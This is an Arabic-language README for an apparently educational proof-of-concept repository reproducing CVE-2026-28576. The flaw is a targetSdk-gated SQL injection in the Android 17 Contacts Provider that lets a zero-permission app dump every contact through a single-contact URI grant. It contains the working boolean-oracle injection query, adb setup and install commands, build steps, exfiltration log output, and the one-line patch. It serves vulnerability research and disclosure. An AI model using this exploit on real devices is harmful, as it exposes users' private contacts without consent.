
إثبات مفهوم تعليمي يوضح ثغرة حقن SQL في مزوّد جهات الاتصال بنظام أندرويد 17، مما يسمح لتطبيق بدون أي أذونات باستخراج قاعدة بيانات جهات الاتصال بالكامل عبر منح URI لجهة اتصال واحدة.
جهة اتصال واحدة مختارة، كل جهات الاتصال: بوابة توافق targetSdk تحوّل منحة اختيار جهة اتصال واحدة إلى تفريغ كامل لقاعدة بيانات جهات الاتصال.
أندرويد 17 عزّز موفر جهات الاتصال ضد حقن SQL باستخدام setStrictColumns() / setStrictGrammar() — لكنه أطلق هذا التحصين خلف تغيير توافق مُقيّد بـ targetSdk (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). أي تطبيق يستهدف SDK 36 أو أقل يتجاوز الفحوصات الصارمة بصمت، ويمكنه إخفاء استعلامات فرعية من نوع boolean-oracle في selection الخاصة بالاستعلام لقراءة قاعدة بيانات جهات الاتصال بأكملها عبر منحة URI لجهة اتصال واحدة. بدون READ_CONTACTS، وبدون أي أذونات إطلاقًا.
ملاحظة: لم نكتشف هذه الثغرة بأنفسنا. يحتوي هذا المستودع على تحليلنا واستنساخنا وإثبات المفهوم التعليمي المستقل لمساعدة مجتمع الأمن على فهم فئة الثغرات هذه: إصلاحات الأمن المُقيّدة خلف
@EnabledAfter(targetSdkVersion)تترك كل تطبيق يستهدف إصدارًا قديمًا على المسار المعرّض للخطر.
مقال كامل مع لقطات شاشة وفيديو توضيحي: حقن SQL ما زال موجودًا حتى في أندرويد: جهة اتصال واحدة مختارة، كل جهات الاتصال (CVE-2026-28576)
├── poc/ # تطبيق إثبات المفهوم الاستغلالي (واجهة مستخدم + منتقي جهات اتصال النظام)
│ ├── src/ # MainActivity.java — المنتقي + استغلال boolean-oracle
│ ├── AndroidManifest.xml # صفر أذونات، targetSdk 36
│ └── build.sh # البناء بدون gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # APK إثبات المفهوم مُجمّع مسبقًا (موقّع للتصحيح، جاهز للتثبيت)
├── REPRODUCE.md # دليل استنساخ كامل خطوة بخطوة
├── evidence-*.log # سجلات تشغيل مُلتقطة (قابلة للاستغلال / مُصحَّحة)
└── README.md
تحتاج إلى محاكي أندرويد 17 بمستوى تصحيح أمني قبل 2026-07-01
(استخدمنا AVD A17-Userdebug، sdk_gphone16k_arm64-userdebug 17 CP31.260623.012،
SPL 2026-07-05 — صورة تجريبية ما زالت تحمل بوابة التوافق المعرّضة للخطر).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# تحقق من أن مستوى التصحيح قبل الإصلاح
adb shell getprop ro.build.version.security_patch
# إدراج بعض جهات اتصال الضحية (كـ shell، الذي يملك أذونات جهات الاتصال)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
راجع REPRODUCE.md للحصول على دليل زرع جهات الاتصال الكامل وكلا نمطي التشغيل.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
على الشاشة:
checkUriPermission -> 0) وجهة الاتصال الوحيدة التي يُسمح له برؤيتها بشكل مشروع.يتطلب Android SDK (build-tools 36.0.0، platform android-37.0) و JDK 17. لا حاجة إلى gradle:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36، بدون أذونات)
طبقة المنحة تعمل بشكل صحيح. منتقي جهات الاتصال في أندرويد 17 يمنح التطبيق منحة URI للقراءة فقط لجهة اتصال واحدة بالضبط: content://com.android.contacts/contacts/lookup/<key>/1. أي استعلام مباشر عن أي شيء آخر يُرفض مع SecurityException.
طبقة SQL لا تعمل. لأن إثبات المفهوم يستهدف SDK 36، فإن CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) يُرجع false ويتجاوز الموفر setStrictColumns() / setStrictGrammar(). التفاف الأقواس الدائم setStrict(true) يوقف فقط عمليات كسر الجمل مثل ') OR 1=1 --؛ ولا يفعل شيئًا ضد الاستعلامات الفرعية المتوازنة.
حقن boolean-oracle. يرسل التطبيق استعلامًا يبدو عاديًا ضد URI الممنوح له مع استعلام فرعي مخفي في الـ selection:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
على بناء أندرويد 17 المعرّض للخطر، يُسرّب التطبيق ذو الصفر أذونات كل الأسماء وأرقام الهواتف وعناوين البريد الإلكتروني عبر منحة لجهة اتصال واحدة (انظر evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
الإصلاح يقلب التغيير 484953293 ليطبَّق على كل المتصلين بغض النظر عن targetSdk — حذف تعليق توضيحي واحد (النسخة العامة: تعهيد GrapheneOS c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
يمكنك استنساخ السلوك المُصحَّح بدقة على بناء معرّض للخطر بدون وميض أي شيء:
adb shell am compat enable 484953293 com.poc.cve202628576
# نفس الاستعلام يموت الآن قبل الوصول إلى SQLite:
# IllegalArgumentException: Invalid token SELECT
انظر evidence-patched-run.log.
التحليل وإثبات المفهوم بواسطة Mobile Hacking Lab. استنسخنا هذه الثغرة بشكل مستقل لأغراض تعليمية.
إثبات المفهوم هذا مُقدَّم لأغراض البحث الأمني التعليمي والمصرَّح به فقط. استخدمه فقط على الأجهزة والبيئات التي تملكها أو لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| الخطورة | عالية في النشرة الرسمية؛ استشارة GitHub تُقيّمه بـ CVSS v4 10.0 (حرجة) — ويمكن القول إنه عالٍ بالنظر إلى الشروط المسبقة |
| المكوّن | موفر جهات الاتصال (ContactsProvider2.queryLocal()) |
| السبب الجذري | تغيير التوافق ENFORCE_STRICT_SQL_CHECKS مُقيّد خلف @EnabledAfter(BAKLAVA) |
| التأثير | أي تطبيق لديه منحة URI لجهة اتصال واحدة يقرأ قاعدة بيانات جهات الاتصال بأكملها بدون READ_CONTACTS |
| المتأثر | أندرويد 17، مستوى تصحيح الأمان < 2026-07-01 |
| المُصحَّح | نشرة أندرويد 17 الأمنية |
إذا تطابق الحرف المُخمَّن، يعود الصف الممنوح (cursor.getCount() == 1)؛ وإلا يكون المؤشر فارغًا. استعلام واحد لكل تخمين حرف، يتكرر عبر LIMIT 1 OFFSET k لكل صف ونوع mimetype — رقم الهاتف يقع في أقل من ثانية، وقاعدة البيانات بأكملها في أقل من دقيقة.